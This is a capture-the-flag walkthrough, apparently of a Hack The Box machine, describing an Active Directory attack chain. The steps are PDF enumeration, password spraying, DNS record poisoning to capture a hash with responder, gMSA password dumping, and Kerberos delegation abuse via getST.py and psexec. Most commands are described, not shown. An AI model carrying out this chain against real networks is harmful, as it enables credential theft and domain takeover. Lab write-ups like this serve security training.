Intelligence
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.95.154
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-05 04:35 EDT
Nmap scan report for 10.129.95.154
Host is up (0.0068s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49668/tcp open unknown
49691/tcp open unknown
49692/tcp open unknown
49702/tcp open unknown
49714/tcp open unknown
52403/tcp open unknownWe can enumerate the HTTP page.
HTTP -> PDF Analysis
Page is some kind of company website.
We can add intelligence.htb to our /etc/hosts file as well. Within the page, I noticed there were some downloads:
When we download them, we would get redirected to a PDF which did not have anything useful on it.
The more interesting part is the URL. For the above document, I was redirected to http://10.129.95.154/documents/2020-01-01-upload.pdf. We can fuzz this and see what other PDFs are present. We can create a wordlist using this:
Afterwards,we can use wfuzz to enumerate out all the valid files:
Afterwards, we can use the names of the valid files to create a wordlist, remove the RETURN control character and use a basic bash for loop to download all of these files.
Afterwards, we need a way to convert all of these to text so we can read them. This can be done using pdftotext.
Then, we can use grep to find keywords in these files.
We have a credential, and also searching for security tells me there's some type of vulnerability with the service accounts:
So now we have to find usernames. Within each PDF file, there seems to be a unique user that created it.
We can just do exiftool -creator *.pdf to find all the users, and redirect the output into a wordlist. There are about 83 users:
Then, we do password spraying with crackmapexec.
Tiffany SMB -> Poison DNS
We cannot login using evil-winrm with this, so let's enumerate the SMB shares.
We see that we have access to IT. Within it, there's only one file:
Here's the script:
Earlier I found a hint that the user Ted was running this script continuously. What I find the weirdest is that the URI specified is not hard-coded to point to intelligence.htb, but rather it uses $(record.Name). Also, this sends an email to every record within DNS.
This variable is drawn from the DNS records of the machine, and the DNS port is open to us. The next guess would be to somehow poison the DNS records to allow us to retrieve a hash via responder. I referred to PayloadAllTheThings, and found a tool called dnstool.py that can be used for changing DNS records.
In short, we can add a node to the DNS records via LDAP which makes intelligence.htb point to our machine instead.
Then, we can start responder and wait. Eventually, we would capture a hash that we can crack.
We now have a new user. We still cannot login though.
BloodHound
Since we've exhausted all possible leads, using bloodhound would be the next logical step.
Then we can start neo4j and bloodhound. After uploading the information, let's view what Ted.Graves has access to. We find that they are part of the ITSupport group.
This group has ReadGMSAPassword privileges over svc_int.
USing gMSADumper.py, we can get a hash for this user:
This cannot be cracked, but Pass The Hash can still be done.
Privilege Escalation
getST
When checking this node, we see that it is allowed to delegate for the DC.
We don't have a shell to the machine, but with this we can request service tickets for the administrator. We can use getST.py to do this.
Then, we can request a ticket to impersonate the admin.
Then we can get a shell using psexec.py.
Last updated